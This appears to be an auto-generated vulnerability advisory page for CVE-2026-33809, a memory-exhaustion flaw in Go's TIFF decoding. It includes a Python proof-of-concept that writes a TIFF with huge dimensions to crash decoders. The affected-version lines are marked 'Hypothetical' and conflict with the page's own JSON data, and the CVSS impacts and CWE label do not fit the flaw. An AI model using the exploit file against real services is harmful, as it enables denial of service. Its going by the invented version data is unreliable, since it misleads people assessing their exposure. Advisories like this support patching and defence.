Security Vulnerability Report
中文
CVE-2026-33809 CVSS 5.3 MEDIUM

CVE-2026-33809

Published: 2026-03-25 19:16:52
Last Modified: 2026-04-21 16:30:42

Description

A maliciously crafted TIFF file can cause image decoding to attempt to allocate up 4GiB of memory, causing either excessive resource consumption or an out-of-memory error.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:golang:tiff:*:*:*:*:*:go:*:* - VULNERABLE
Go (image/tiff package) < 1.23.x (Hypothetical based on CVE-2026)
Go (image/tiff package) < 1.22.x (Hypothetical based on CVE-2026)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Generate a malicious TIFF file to trigger excessive memory allocation # This script creates a TIFF header with extremely large dimensions def generate_malicious_tiff(filename): with open(filename, "wb") as f: # TIFF Header: Little Endian (II), Magic Number (42), Offset to first IFD (8) f.write(b"II\x2a\x00\x08\x00\x00\x00") # Number of Directory Entries (2) f.write(struct.pack("<H", 2)) # Entry 1: ImageWidth (Tag 256), Type LONG (4), Count 1 # Set width to a very large value to trigger allocation f.write(struct.pack("<HHII", 256, 4, 1, 0x7FFFFFFF)) # Entry 2: ImageLength (Tag 257), Type LONG (4), Count 1 # Set height to a very large value f.write(struct.pack("<HHII", 257, 4, 1, 0x7FFFFFFF)) # Next IFD Offset (0 = end of linked list) f.write(b"\x00\x00\x00\x00") print(f"[+] Malicious TIFF file generated: {filename}") print(f"[+] Attempting to decode this file may cause OOM.") if __name__ == "__main__": generate_malicious_tiff("exploit.tiff")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33809", "sourceIdentifier": "[email protected]", "published": "2026-03-25T19:16:51.830", "lastModified": "2026-04-21T16:30:41.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A maliciously crafted TIFF file can cause image decoding to attempt to allocate up 4GiB of memory, causing either excessive resource consumption or an out-of-memory error."}, {"lang": "es", "value": "Un archivo TIFF creado maliciosamente puede provocar que la decodificación de la imagen intente asignar hasta 4 GiB de memoria, causando un consumo excesivo de recursos o un error de falta de memoria."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:tiff:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.38.0", "matchCriteriaId": "FBFB750C-D8BB-434B-A990-8EC3DDCA6CBE"}]}]}], "references": [{"url": "https://go.dev/cl/757660", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://go.dev/issue/78267", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4815", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}